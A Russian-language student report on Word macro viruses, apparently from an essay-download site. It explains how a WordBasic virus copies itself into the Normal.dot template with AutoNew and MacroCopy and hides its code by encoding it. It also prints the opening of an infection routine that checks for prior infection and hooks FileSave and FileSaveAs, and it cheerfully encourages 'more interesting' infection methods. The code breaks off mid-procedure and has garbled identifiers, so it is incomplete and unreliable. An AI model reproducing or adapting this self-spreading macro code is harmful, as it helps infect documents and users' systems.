Доклад: Макровирусы

Очень важно знать, как адаптировать автоматический макрос (ниже
приведен простейший вариант), чтобы активизировать его в открывае-
мый по умолчанию шаблон WinWord.

Это делается так:

Определяется переменная, в которую записывается полное имя макроса:

name$=WindowName$()+":AutoNew"

'этот макрос будет выполняться каждый раз

'при создании нового документа

Теперь нужно записать макрос в шаблон NORMAL.DOT простой ко-
мандой:

MacroCopy name$, "Global:AutoNew"

Это стандартный способ работы макро-вирусов, но есть еще много дру-
гих, более интересных способов заражения. Всего то и нужно, что не-
много воображения и несколько строчек кода. Одним из трюков, кото-
рый усложняет подобные вирусы и затрудняет их анализ, является
кодирование макро-вирусов.

MacroCopy "MyTemplate:MyMacro", "GlobahAutoClose", 1

Если выполняется команда MacroCopy с параметром, равным 1 (или
другому числу больше 0), то в результате копирования будет получен
только исполняемый макрос, который нельзя редактировать.

Большинство макро-вирусов имеют типичную структуру. Они начина-
ются с автовыполняемого макроса, заражающего глобальный шаблон
Normal.dot. Также в их состав входят некоторые макросы, которые зара-
жают файлы при определенных действиях (FileSaveAs, FileSave,
ToolsMacros). Документы заражаются при совершении над ними опера-
ций вирусными макросами, то есть они будут инфицироваться при
открытии.

Код для процедуры автовыполнения может выглядеть примерно так:

Sub MAIN

On Error Goto Abort

iMacroCount=CountMacros(0, 0) 'Проверка на зараженность

For i=1 To iMacroCount

If MacroName$(i, 0, 0)="PayLoad" Then

binstalled =-1 'с помощью макроса Payload

End If

If MacroName$(i, 0, 0)="FileSaveAs" Then

bTooMuchTrouble =-1 'но если есть макрос FileSaveAs,
'то заразить тяжело

End If

Next i

If Not binstalled And Not bTooMuchTrouble Then

'Добавим макросы FileSaveAs и копии AutoExec и FileSave
'Payload используется только для проверки на зараженность
',1 - кодирует макросы, делая их нечитаемыми в Word

iWW6llnstance=Val(GetDocumentVar$("WW6lnfector"))

sMe$=FileName$()

Macro$=sMe$+":PayLoad"

К-во Просмотров: 926
Бесплатно скачать Доклад: Макровирусы